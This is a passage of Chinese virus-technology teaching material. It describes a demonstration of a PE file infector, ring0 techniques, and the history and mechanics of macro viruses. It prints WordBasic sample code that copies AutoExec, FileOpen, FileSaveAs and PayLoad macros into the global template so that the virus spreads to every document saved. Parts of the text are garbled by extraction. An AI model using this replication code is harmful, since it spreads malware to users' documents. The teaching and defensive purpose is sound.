圖解說明:注解12-1是KeyMaker.exe程序感染前的大小298KB(305,664字節(jié));注解12-2是KeyMaker.exe程序感染后的大小302KB(309,760)。步驟12:比較目標程序感染前后的變化(注要指程序大小),如下圖(圖例12;圖例12A和圖例12B;圖例12C和圖例12D):圖例12A步驟12:比較目標程序感染前后的變化(注要指程序大小),如下圖(圖例12;圖例12A和圖例12B;圖例12C和圖例12D):圖例12B圖解說明:圖例12A、12B、12C、12D是通過PEViewer程序打開目標程序的圖示。對照圖例12A和12B的注解:注解1表示KeyMaker.exe程序的節(jié)數(shù)由感染前的9個增加到10個;注解2程序大小的變化由00043000增加到00044000;注解3是程序入口地址的變化由00043DE8變?yōu)?0054B93;注解4是程序占用空間的變化由00054000增加到00055000;注解5是程序校驗和的變化由0004C1FB變?yōu)?004C543。步驟12:比較目標程序感染前后的變化(注要指程序大小),如下圖(圖例12;圖例12A和圖例12B;圖例12C和圖例12D):圖例12C

步驟12:比較目標程序感染前后的變化(注要指程序大小),如下圖(圖例12;圖例12A和圖例12B;圖例12C和圖例12D):圖例12D

圖解說明:對照圖例12C和12D的注解:注解1表示增加的一個節(jié)的具體內(nèi)容。

演示說明:這就是程序被感染后的結(jié)果,目標程序被增加一個節(jié)(4KB=4096字節(jié)),程序入口地址被修改,程序大小和占有空間增加4K。步驟13:測試感染后程序是否為病毒攜帶程序的圖示,如下圖:圖例13

圖解說明:注解13-1表示NortonAntiVirus的自動防護功能打開著;注解13-2就是防病毒軟件在用戶鼠標置于圖例13中注解13-3處的KeyMaker.exe程序上時的報警提示。

演示說明:由此病毒報警提示可知KeyMaker.exe已被感染,成為病毒Virus.exe攜帶者,并已具有病毒程序Virus.exe的特征。此處為了防止Virus.exe影響測試結(jié)果,在測試時把Virus.exe放到臨時目錄temp中,主目錄留下被Virus感染的程序。步驟14:病毒攜帶程序KeyMaker.exe的運行情況,如下圖:圖例14

圖解說明:注解14-1表示NortonAntiVirus的自動防護功能被關閉;注解14-2為病毒攜帶程序KeyMaker.exe運行初始界面;注解14-3表示當前運行是KeyMaker.exe。

演示說明:運行KeyMaker.exe來檢查程序被感染的情況以及該程序是否具有感染功能,在演示時為了能夠測試效果,應該將其他的可執(zhí)行文件換成未被感染的程序,只需從原先的測試包中將除KeyMaker.exe外的可執(zhí)行文件拷貝過來復制即可。步驟15:是否觀看病毒攜帶程序KeyMaker.exe的感染過程提示,如下圖:圖例15

圖解說明:注解15-1是否觀看病毒攜帶程序KeyMaker.exe的感染過程提示。選擇“是”觀看感染過程,參照步驟16圖示;選擇“否”運行原程序,參照步驟17圖示。

演示說明:無步驟16:病毒攜帶程序KeyMaker.exe的開始感染提示,如下圖:圖例16

圖解說明:注解16-1提示病毒攜帶程序KeyMaker.exe的開始感染其他程序,后面的步驟與步驟4開始類似。

演示說明:無步驟17:病毒攜帶程序KeyMaker.exe不進行感染運行主程序圖示,如下圖:圖例17

圖解說明:注解17-1是病毒攜帶程序KeyMaker.exe的運行界面。

演示說明:無步驟18:病毒攜帶程序ebookedit.exe的感染過程被防病毒程序檢測到的圖示,如下圖:圖例18

圖解說明:注解18-1表示NortonAntiVirus的自動防護功能打開著;注解18-2是目標感染程序(此處是剛復制過來的未感染的測試程序);注解18-3表示正在運行的是病毒攜帶程序ebookedit.exe;注解18-4提示當前感染過程結(jié)束,在宿主程序ebookcode.exe增加一個節(jié),修改了文件頭;注解18-5提示該過程被檢測有病毒程序在運行,從而進行病毒預警提示。

演示說明:詳見備注3從ring3到ring0概述Win9x時代由于Win9x未對IDT,GDT,LDT加以保護,我們可以利用這一點漏洞來進入ring0。用SHE,IDT,GDT,LDT等方法進入ring0的例子清參考CVC雜志、已公開的病毒源碼和相關論壇等。在NT/2K/XP時代webcrazy寫的Win2K下進入ring0的C教程,這篇文章非常值得研究ring0病毒的技術人員參考。由于Win2K已經(jīng)有了比較多的安全審核機制,即使我們掌握了這種技術,如果想在Win2K下進入ring0還必須具有Administrator權限。我們必須同時具備病毒編制技術和黑客技術才能進入Win2k的ring0,由此可以看出當前的病毒編制技術越來越需要綜合能力。宏病毒定義宏病毒是利用系統(tǒng)的開放性專門制作的一個或多個具有病毒特點的宏的集合,這種病毒宏的集合影響到計算機的使用,并能通過文檔及模板進行自我復制及傳播。支持宏病毒的應用系統(tǒng)特點要達到宏病毒傳染的目的,系統(tǒng)須具備以下特性:可以把特定的宏命令代碼附加在指定文件上;可以實現(xiàn)宏命令在不同文件之間的共享和傳遞;

可以在未經(jīng)使用者許可的情況下獲取某種控制權??芍С趾瓴《镜膽孟到y(tǒng)Microsoft公司的WORD、EXCEL、Access、PowerPoint、Project、Visio等產(chǎn)品;Inprise公司的LotusAmiPro字處理軟件;此外,還包括AutoCAD、CorelDraw、PDF等等。宏病毒的特點傳播極快制作、變種方便破壞可能性極大多平臺交叉感染地域性問題宏病毒的共性宏病毒會感染DOC文檔文件和DOT模板文件。打開時激活,通過Normal模板傳播。通過AutoOpen,AutoClose,AutoNew和AutoExit等自動宏獲得控制權。病毒宏中必然含有對文檔讀寫操作的宏指令。宏病毒的作用機制模板在建立整個文檔中所起的作用是作為一個基類。新文檔繼承模板的屬性(包括宏、菜單、格式等)。編制宏病毒要用到的宏如右表類別宏名運行條件自動宏AutoExec啟動Word或加載全局模板時AutoNew每次創(chuàng)建新文檔時AutoOpen每次打開已存在的文檔時AutoClose在關閉文檔時AutoExit在退出Word或卸載全局模板時標準宏FileSave保存文件FileSaveAs改名另存為文件FilePrint打印文件FileOpen打開文件Word宏病毒感染過程編制語言VBA\WordBasic等環(huán)境:VBE經(jīng)典宏病毒-美麗莎Melissa利用微軟的Word宏和Outlook發(fā)送載有80個色情文學網(wǎng)址的列表它可感染W(wǎng)ord97或Word2000,是一種Word宏病毒當用戶打開一個受到感染的Word97或Word2000文件時,病毒會自動通過被感染者的Outlook的通訊錄,給前50個地址發(fā)出帶有W97M_MELISSA病毒的電子郵件。染毒現(xiàn)象:信箱中將可以看到標題為“ImportantmessagefromXX(來自XX的重要信息)”的郵件,其中XX是發(fā)件人的名字。正文中寫道,“這是你索要的文件……不要給其他人看;-)?!贝送?,該郵件還包括一個名為list.doc的Word文檔附件,其中包含大量的色情網(wǎng)址。經(jīng)典宏病毒-臺灣NO.1B病毒發(fā)作時,只要打開一個Word文檔,就會被要求計算一道5個至多4位數(shù)的連乘算式。由于算式的復雜度,很難在短時間內(nèi)計算出答案,一旦計算錯誤,Word就會自動開啟20個新窗口,然后再次生成一道類似的算式,接著不斷往復,直至系統(tǒng)資源耗盡。經(jīng)典宏病毒-O97M.Tristate.C病毒O97M.Tristate.C宏病毒可以交叉感染MSWord97、MSExcwel97和MSPowerPoint97等多種程序生成的數(shù)據(jù)文件。病毒從Word文檔、Excel電子表格或PowerPoint幻燈片被激活,并進行交叉感染。病毒在Excel中被激活時,它在ExcelStartup目錄下查找文檔BOOK1.XLS,如果不存在,病毒將在該目錄下創(chuàng)建一個被感染的工作簿并使Excel的宏病毒保護功能失效。病毒存放在被感染的電子表格的“ThisWorkbook”中。宏語言

Office程序和它們所使用的宏語言Office程序版本宏語言Word6.x,7.xWordBasicExcel5.x,7.xVBA3.0Office97,Word8.0,Excel6.0\8.0,Project98,Access8.0VBA5.0Office2K,Outlook2K,FrontPage2KVBA6.0OfficeXP,Outlook2002,Word2002,Access2002,FrontPage2002VBA6.3使用VBA可以實現(xiàn)的功能包括:(1)使重復的任務自動化(2)自定義Word工具欄、菜單和界面(3)簡化模板的使用(4)自定義Word,使其成為開發(fā)平臺宏病毒關鍵技術(1)自動執(zhí)行的示例代碼:SubMAINOnErrorGotoAbortiMacroCount=CountMacros(0,0)'檢查是否感染該文檔文件Fori=1ToiMacroCountIfMacroName$(i,0,0)="PayLoad"ThenbInstalled=-1'檢查正常的宏EndIfIfMacroName$(i,0,0)="FileSaveAs"ThenbTooMuchTrouble=-1'但如果FILESAVEAS宏存在那么傳染比較困難.EndIfNextiIfNotbInstalledAndNotbTooMuchTroubleThen'加入FileSaveAs和拷貝到AutoExecandFileSaveAs.'有效代碼不檢查是否感染.'把代碼加密使不可讀.iWW6IInstance=Val(GetDocumentVar$("WW6Infector"))sMe$=FileName$()Macro$=sMe$+":PayLoad"MacroCopyMacro$,"Global:PayLoad",1Macro$=sMe$+":FileOpen"MacroCopyMacro$,"Global:FileOpen",1Macro$=sMe$+":FileSaveAs"MacroCopyMacro$,"Global:FileSaveAs",1Macro$=sMe$+":AutoExec"MacroCopyMacro$,"Global:AutoExec",1SetProfileString"WW6I",Str$(iWW6IInstance+1)EndIfAbort:EndSubVBA使用的保護方法?(2)SaveAs程序:這是一個當使用FILE/SAVEAS功能時,拷貝宏病毒到活動文本的程序。它使用了許多類似于AutoExec程序的技巧。盡管示例代碼短小,但足以制作一個小巧的宏病毒。SubMAINDimdlgAsFileSaveAsGetCurValuesdlgDialogdlgIf(Dlg.Format=0)Or(dlg.Format=1)ThenMacroCopy"FileSaveAs",WindowName$()+":FileSaveAs"MacroCopy"FileSave",WindowName$()+":FileSave"MacroCopy"PayLoad",WindowName$()+":PayLoad"MacroCopy"FileOpen",WindowName$()+":FileOpen"Dlg.Format=1EndIfFileDaveAsdlgEndSub

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經(jīng)權益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責。
  • 6. 下載文件中如有侵權或不適當內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論